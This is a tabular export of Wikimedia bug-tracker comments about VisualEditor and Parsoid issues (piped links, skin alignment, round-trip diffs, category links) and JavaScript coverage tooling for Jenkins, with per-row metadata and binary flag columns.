+777890,Parsoid: Links created with VE are piped links even when linktrail could be used,"Thanks for the clarification. This specific case of this bug understandably decreases acceptance of the VisualEditor on de-wp, whereas the general problem regarding trailing characters is generally seen as acceptable. I asked several complaining users to provide more diffs of this specific case which I will add here.",,,1481750714,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,180,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+777177,Parsoid: Links created with VE are piped links even when linktrail could be used,">>! In T50463#2870576, @Cirdan wrote:
+>> VE is an HTML editor. What kind of clean-up of HTML do you expect VE to do that would affect this?
+> 
+> Not HTML, but apparently editing pages with the VE creates links like 
+> ```
+> [[Target|Target]]
+> ```
+> in the Wikitext. I would assume that before Wikitext is saved (or delivered to the user), this is automatically cleaned to
+> ```
+> [[Target]]
+> ```
+
+Parsoid currently has code to generate simple links where necessary, but, clearly there was a bug that affected the diff you highlighted in T153107. But, in general, Parsoid does generate [[Foo]] instead of [[Foo|Foo]].",,,1481664094,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,True,,,180,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+777171,Parsoid: Links created with VE are piped links even when linktrail could be used,"> VE is an HTML editor. What kind of clean-up of HTML do you expect VE to do that would affect this?
+
+Not HTML, but apparently editing pages with the VE creates links like 
+```
+[[Target|Target]]
+```
+in the Wikitext. I would assume that before Wikitext is saved (or delivered to the user), this is automatically cleaned to
+```
+[[Target]]
+```
+",,,1481663806,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,180,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+777143,Parsoid: Links created with VE are piped links even when linktrail could be used,">>! In T50463#2870216, @Cirdan wrote:
+>>> How is it possible that the parser does not detect two identical strings as identical?
+>> Your question assumes that it is looking for that. I don't know whether it is.
+> 
+> I just looked through what I believe to be the relevant parts of the source code, and it indeed seems that this is not how Parsoid handles this. I haven't looked at the VE implementation though. Is there no general cleanup at the end of a VE editing session?
+
+VE is an HTML editor. What kind of clean-up of HTML do you expect VE to do that would affect this?",,,1481662022,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,True,,,180,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+777093,Parsoid: Links created with VE are piped links even when linktrail could be used,">> How is it possible that the parser does not detect two identical strings as identical?
+> Your question assumes that it is looking for that. I don't know whether it is.
+
+I just looked through what I believe to be the relevant parts of the source code, and it indeed seems that this is not how Parsoid handles this. I haven't looked at the VE implementation though. Is there no general cleanup at the end of a VE editing session?
+
+",,,1481658837,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,180,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+777068,Parsoid: Links created with VE are piped links even when linktrail could be used,">>! In T50463#2870045, @Cirdan wrote:
+> Jdforrester-WMF, thanks for merging T153107. Could you elaborate how these two are related?
+
+They are both issues where Parsoid is apparently creating wikitext sub-optimally.
+
+> How is it possible that the parser does not detect two identical strings as identical?
+
+Your question assumes that it is looking for that. I don't know whether it is.",,,1481657441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,True,,,180,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1
+777059,Parsoid: Links created with VE are piped links even when linktrail could be used,"Jdforrester-WMF, thanks for merging T153107. Could you elaborate how these two are related? How is it possible that the parser does not detect two identical strings as identical?",,,1481657102,,PHID-USER-n5zbtah6t77lz2asxkmm,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,180,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+224947,Parsoid: Links created with VE are piped links even when linktrail could be used,See also Change-Id: I78c8fc87be1777f63c84f8945ead1cc54161fb76,,,1374487741,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+224942,Parsoid: Links created with VE are piped links even when linktrail could be used,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372933998,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+224938,Parsoid: Links created with VE are piped links even when linktrail could be used,"(In reply to comment #1)
+> Parsoid issue, moving to Parsoid.
+> 
+> Would like some input from James as to what he believes the behavior should
+> be (piped links always? linktrails where possible? configurable either way?).
+
+Canonically, linktrails should be preferred where possible (so, whenever a case-sensitive substring; except when on a $wgCapitalLinks=true, where it's a tad more complicated). I believe that linkheads should also be preferred where possible for the languages for which that applies.",,,1368771151,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,1,True,,,-7,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+224934,Parsoid: Links created with VE are piped links even when linktrail could be used,"Parsoid issue, moving to Parsoid.
+
+Would like some input from James as to what he believes the behavior should be (piped links always? linktrails where possible? configurable either way?).",,,1368770935,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-arvnl4rgkbslvicqgsmj,task_subcomment,,True,c1,1,False,,,-7,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+50432,VisualEditor: Green striped area doesn't align properly in Monobook,"When VisualEditor comes across a part of a page it can't edit, it adds a green striped area. However, VisualEditor seems to have very bad aim in Monobook. Screenshots forthcoming.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1368498360,1370362551.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-vgio4d23zmdnqxwyja3n,task_description,resolved,True,c1,1,False,False,True,-7,,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+223453,VisualEditor: Green striped area doesn't align properly in Monobook,We did a bit of a re-write of how the phantoms appear in the last push; glad this fixed it. :-),,,1370362551,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vgio4d23zmdnqxwyja3n,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+223449,VisualEditor: Green striped area doesn't align properly in Monobook,This appears to be fixed.,,,1370356051,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-vgio4d23zmdnqxwyja3n,task_subcomment,,True,c1,1,False,,,-4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+223443,VisualEditor: Green striped area doesn't align properly in Monobook,"Created attachment 12310
+VisualEditor using the Monobook skin on mediawiki.org; incorrect behavior
+
+https://www.mediawiki.org/wiki/MobileFrontend/Photo_upload/Analysis?useskin=monobook&veaction=edit
+
+**Attached**: {F10761}",,,1368498533,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-vgio4d23zmdnqxwyja3n,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+223438,VisualEditor: Green striped area doesn't align properly in Monobook,"Created attachment 12309
+VisualEditor using the Vector skin on mediawiki.org; correct behavior
+
+https://www.mediawiki.org/wiki/MobileFrontend/Photo_upload/Analysis?useskin=vector&veaction=edit
+
+**Attached**: {F10760}",,,1368498417,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-vgio4d23zmdnqxwyja3n,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+50430,Enable VisualEditor on all content namespaces on mediawiki.org,"Currently VisualEditor is only enabled on the user/main namespaces on mediawiki.org. It'd be nice if it were enabled on all namespaces on mediawiki.org.
+
+Perhaps test.wikipedia.org and test2.wikipedia.org as well.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Medium,50.0,1368497580,1369075886.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-azvy6g4nbj2z6hw5ydsm,task_description,resolved,True,c1,1,False,False,True,-7,,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+223339,Enable VisualEditor on all content namespaces on mediawiki.org,Now complete.,,,1369075886,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-azvy6g4nbj2z6hw5ydsm,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+223333,Enable VisualEditor on all content namespaces on mediawiki.org,Related URL: https://gerrit.wikimedia.org/r/63621 (Gerrit Change I1c18ff72265ed4a33c5114141d5d97301e85c2e3),,,1368499865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azvy6g4nbj2z6hw5ydsm,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+50427,VisualEditor: Round-trip failures,"Bad diff from VisualEditor on mediawiki.org, 2013-05-13
+
+Go to <https://www.mediawiki.org/wiki/Wikimedia_Engineering/2012-13_Goals>. Click ""edit"". VisualEditor form loads. Add a space after the sentence ""that drive editor engagement;"". Remove the space. Click ""Review and save"".
+
+Expected behavior: a diff showing no changes at all (space was added to the end of the line and then removed).
+
+Current behavior: see attached screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10742}",Medium,50.0,1368496740,1371867377.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-6r6iwczgdw2x3g22idm6,task_description,resolved,True,c1,1,False,False,True,-7,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+222917,VisualEditor: Round-trip failures,"We did a bunch of changes to avoid dirty-diffs with Parsoid; though there may be a few outstanding, I think we've got most of them licked, so closing.",,,1371867377,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6r6iwczgdw2x3g22idm6,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0
+222913,VisualEditor: Round-trip failures,Seems to have been fixed since the filing of this bug. Can you still reproduce this?,,,1371865706,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-6r6iwczgdw2x3g22idm6,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+222908,VisualEditor: Round-trip failures,"(In reply to comment #2)
+> Are Parsoid/VisualEditor versions exposed somewhere?
+
+[[mw:Special:Version]] :-) In general, VisualEditor is branched for production at the same time as MediaWiki core right now (so, fortnightly for the rest of this month, thereafter weekly); Parsoid is updated in production more frequently but less regularly, as it's a manual process.
+
+> Or alternately, is there a public wiki running the most up-to-date version
+> of VisualEditor?
+
+No, I don't think so (but isn't beta meant to run master of everything?). Perhaps I should make a bug to build one in Labs.
+
+> I really don't like wasting my time filing bugs that no longer exist. :-/
+
+The perils of testing software that gets a dozen or so bugs fixed each week, sadly. In this particular case, I'm assuming that it's a Parsoid bug that was fixed (as I can't see anything in our git log that would suggest a VE fix changing this behaviour). Sorry!",,,1368979421,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6r6iwczgdw2x3g22idm6,task_subcomment,,True,c1,1,True,,,-7,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1
+222901,VisualEditor: Round-trip failures,"(In reply to comment #1)
+> I played around a bit locally while on the plane and tried to reproduce on
+> master from the screenshot.
+
+Blergh. I can still definitely reproduce this issue on mediawiki.org following the steps in comment 1.
+
+Are Parsoid/VisualEditor versions exposed somewhere? Or alternately, is there a public wiki running the most up-to-date version of VisualEditor? I really don't like wasting my time filing bugs that no longer exist. :-/",,,1368906585,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-6r6iwczgdw2x3g22idm6,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+222897,VisualEditor: Round-trip failures,"I played around a bit locally while on the plane and tried to reproduce on master from the screenshot. I didn't reproduce your bug, but I found bug 48605 instead. Now that I have an internet connection again, I'll take a proper look at this bug once I've caught up on sleep.",,,1368896354,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6r6iwczgdw2x3g22idm6,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+50408,"VisualEditor: Categories with multiple ""../""s in their hrefPrefix broken","VisualEditor added ""../"" inside [[Category:QA]], breaking the link. I swear I didn't touch the category itself. I was just editing an unrelated paragraph.
+
+See https://www.mediawiki.org/w/index.php?title=Groups%2FProposals%2FFeatures_testing&diff=689563&oldid=689504
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1368466500,1368487340.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-dga3eyvqthuwtl6xayui,task_description,resolved,True,c1,1,False,False,True,-7,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,0,1,1,1,0,0,1
+221613,"VisualEditor: Categories with multiple ""../""s in their hrefPrefix broken","(In reply to comment #2)
+> We're going to put this into wmf4 with a Lightning Deploy this afternoon
+> rather
+> than wait for wmf5; thanks for the catch, Quim!
+This is now done.",,,1368487340,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dga3eyvqthuwtl6xayui,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+221605,"VisualEditor: Categories with multiple ""../""s in their hrefPrefix broken","We're going to put this into wmf4 with a Lightning Deploy this afternoon rather than wait for wmf5; thanks for the catch, Quim!",,,1368471008,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dga3eyvqthuwtl6xayui,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+221597,"VisualEditor: Categories with multiple ""../""s in their hrefPrefix broken",Related URL: https://gerrit.wikimedia.org/r/63496 (Gerrit Change I84d2b23a05585890b2d5023c7c7f38a43889fd7f),,,1368468797,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dga3eyvqthuwtl6xayui,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50365,Jenkins: Set up JavaScript code coverage analysis,"Any plans of having JSCover (JavaScript code coverage analysis) being integrated and run by Jenkins (in away that is usable for core and extensions as well)?
+
+[1] http://tntim96.github.io/JSCover/
+
+[2] http://tntim96.github.io/JSCover/example-qunit/out/jscoverage.html?test/index.html
+
+[3] http://tntim96.github.io/JSCover/manual/manual.xml#automatingPhantomJS
+
+[4] http://tntim96.github.io/JSCover/manual/manual.xml#automatingAnt
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Medium,50.0,1368310740,1411761995.0,PHID-USER-ldehclaehsvglrqxywsj,False,,False,PHID-TASK-irkp2njalgjutggxseff,task_description,declined,True,c1,1,False,False,False,-8,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1
+219221,Jenkins: Set up JavaScript code coverage analysis,"JSCover didn't work out very well.
+
+I've standardised on istanbul[1] for the moment. There are qunit[2] and karma[3] integrations. Both of which we've been using for OOjs and VisualEditor these past few months.
+
+They have command-line and HTML reporters.
+
+[1]
+http://gotwarlost.github.io/istanbul/
+https://github.com/gotwarlost/istanbul
+
+[2]
+https://github.com/asciidisco/grunt-qunit-istanbul
+
+[3]
+https://github.com/karma-runner/karma-qunit
+https://github.com/karma-runner/karma-coverage",,,1411761995,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-irkp2njalgjutggxseff,task_subcomment,,True,c1,3,True,,,64,,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+219214,Jenkins: Set up JavaScript code coverage analysis,Javascript coverage is still something we need. Nobody looked at integrating it in Jenkins yet though.,,,1383584273,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-irkp2njalgjutggxseff,task_subcomment,,True,c1,3,True,,,18,,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+219206,Jenkins: Set up JavaScript code coverage analysis,I'm not sure this will get any attention in a foreseeable future therefore closing this one.,,,1383363539,,PHID-USER-txixdzq7tyya37eageyl,False,,,PHID-TASK-irkp2njalgjutggxseff,task_subcomment,,True,c1,3,False,,,17,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+219197,Jenkins: Set up JavaScript code coverage analysis,"**tntim96** wrote:
+
+The JSCover JAR (JSCover-all.jar) is all custom code and only includes the Rhino library (i.e. no Jetty, Log4J, Apache-commons or other library dependencies).
+
+Also, there is no HTML parser. When a JavaScript file is requested via JSCover's web or proxy server, JSCover instruments the specified JavaScript only. 
+
+Whether the HTML is generated dynamically or not doesn't affect JSCover in proxy-mode. 
+
+For proxy documentation, take a look at:
+http://tntim96.github.io/JSCover/manual/manual.xml#gettingStartedProxy
+
+...and a working proxy example at:
+https://github.com/tntim96/JSCover-samples/blob/master/src/test/java/jscover/webdriver/jasmine/WebDriverUnderscoreProxyTest.java
+
+Let me know if there are any changes required to JSCover that would assist you.",,,1378180020,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-irkp2njalgjutggxseff,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+219190,Jenkins: Set up JavaScript code coverage analysis,"Both jscoverage and the new fork JSCover seem to have quite a nasty (though from a quick look, hard to avoid) implementation that involves instrumenting files. 
+
+Though that in and of itself isn't a problem, it does this by running a static file server and proxying javascript files through its instrumentor and using some kind of HTML parser (another Java class dependency) to catch inline scripts even (not sure).
+
+This isn't going to work straight up with MediaWiki since we generate HTML dynamically (e.g mediawiki-core/index.php) and load things through ResourceLoader.",,,1374001877,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-irkp2njalgjutggxseff,task_subcomment,,True,c1,3,True,,,2,,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
